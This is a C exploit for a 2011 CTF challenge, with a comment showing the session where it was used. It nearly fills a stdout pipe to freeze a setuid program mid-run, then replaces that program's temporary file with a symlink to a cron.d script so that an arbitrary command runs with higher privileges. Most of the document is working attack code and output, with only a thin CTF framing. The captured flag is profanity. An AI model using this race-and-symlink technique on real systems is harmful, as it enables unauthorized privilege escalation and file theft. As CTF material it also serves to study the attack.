/* pCTF 2011 - #18 A small bug * Exploiting race condition using an almost-filled blocking pipe connected to stdout * Based on https://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/ */ /* z1_16@a5:~$ ./exploit Usage: ./exploit <exploitme> <string> <symlink> z1_16@a5:~$ touch /tmp/stalkr; chmod go-rx,a+w /tmp/stalkr; ls -l /tmp/stalkr -rw--w--w- 1 z1_16 z1users 0 Apr 23 16:15 /tmp/stalkr z1_16@a5:~$ ./exploit /opt/pctf/z1/exploitme 'cat /opt/pctf/z1key/key >/tmp/stalkr' /opt/pctf/z1key/cron.d/stalkr.sh Symlink /tmp/chal_irpdv9 -> /opt/pctf/z1key/cron.d/stalkr.sh created z1_16@a5:~$ date Sat Apr 23 16:16:02 EDT 2011 z1_16@a5:~$ cat /tmp/stalkr This is the key: FUCKALLOFYOU z1_16@a5:~$ rm -f /tmp/stalkr */ #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> void fd_set_blocking(int fd) { int flags; if ( (flags = fcntl(fd, F_GETFL)) == -1) { perror("fcntl()"); exit(EXIT_FAILURE); } if (flags & O_NONBLOCK) { flags &= ~O_NONBLOCK; if (fcntl(fd, F_SETFL, flags) == -1) { perror("fcntl()"); exit(EXIT_FAILURE); } } } void fd_set_nonblocking(int fd) { int flags; if ( (flags = fcntl(fd, F_GETFL)) == -1) { perror("fcntl()"); exit(EXIT_FAILURE); } if ( !(flags & O_NONBLOCK) ) { flags |= O_NONBLOCK; if (fcntl(fd, F_SETFL, flags) == -1) { perror("fcntl()"); exit(EXIT_FAILURE); } } } ssize_t xwrite(int fd, const void *buf, size_t count) { ssize_t ret; do { ret = write(fd, buf, count); } while (ret == -1 && errno == EINTR); if (ret == -1 && errno != EAGAIN) { perror("write()"); exit(EXIT_FAILURE); } return ret; } int xdup2(int oldfd, int newfd) { int ret; if ( (ret = dup2(oldfd, newfd)) == -1) { perror("dup2()"); exit(EXIT_FAILURE); } return ret; } int xpipe(int filedes[2]) { int ret; if ( (ret = pipe(filedes)) == -1) { perror("pipe()"); exit(EXIT_FAILURE); } return ret; } int main(int argc, char **argv) { pid_t pid; ssize_t ret; int pipestdout[2], pipestderr[2]; char buf[4096]; int i; char *tmpfile; if (argc < 4) { printf("Usage: %s <exploitme> <string> <symlink>\n", argv[0]); exit(EXIT_FAILURE); } xpipe(pipestdout); xpipe(pipestderr); memset(buf, 0, sizeof(buf)); /* Set stdout non-blocking, so we can fill the pipe buffer */ fd_set_nonblocking(pipestdout[1]); /* Program will want to write this on stdout: * "Entering 0x8048285...\n" (main) -> let it do * "Entering 0x8048167...\n" (get_temp) -> let it do * "Entering 0x8048219...\n" (write_and_unlink) -> don't let it! we want to freeze * In order to do that, we fill the stdout pipe at maximum minus first two messages */ /* Entirely fill the first 15th 4096 chunks */ for (i=0; i<15; i++) { if (xwrite(pipestdout[1], buf, 4096) != 4096) { perror("write()"); } } /* Almost fill the last (16th) 4096 chunk */ i = 4096 - strlen("Entering 0x8048167...\n") - strlen("Entering 0x8048167...\n"); if (xwrite(pipestdout[1], buf, i) != i) { perror("write()"); } /* Now stdout pipe is almost full, child will block right after the two "Entering.." */ fd_set_blocking(pipestdout[1]); switch(pid = fork()) { case -1: perror("fork()"); exit(EXIT_FAILURE); case 0: /* Connect stdout/stderr of child to pipes */ close(pipestderr[0]); close(pipestdout[0]); xdup2(pipestdout[1], 1); xdup2(pipestderr[1], 2); char *args[] = { argv[1], argv[2], NULL}; if (execve(args[0], args, 0) == -1) { perror("execve()"); exit(EXIT_FAILURE); } default: /* Read tmpfile from stderr */ ret = read(pipestderr[0], &buf, strlen("Temporary file is /tmp/chal_eb9m7g.\n")); if (ret == -1) { perror("read()"); exit(-1); } tmpfile = buf + strlen("Temporary file is "); tmpfile[strlen("/tmp/chal_eb9m7g")] = 0; symlink(argv[3], tmpfile); printf("Symlink %s -> %s created\n", tmpfile, argv[3]); /* We can unfill stdout's pipe so that child continues its execution */ ret = read(pipestdout[0], &buf, 4096); } return EXIT_SUCCESS; }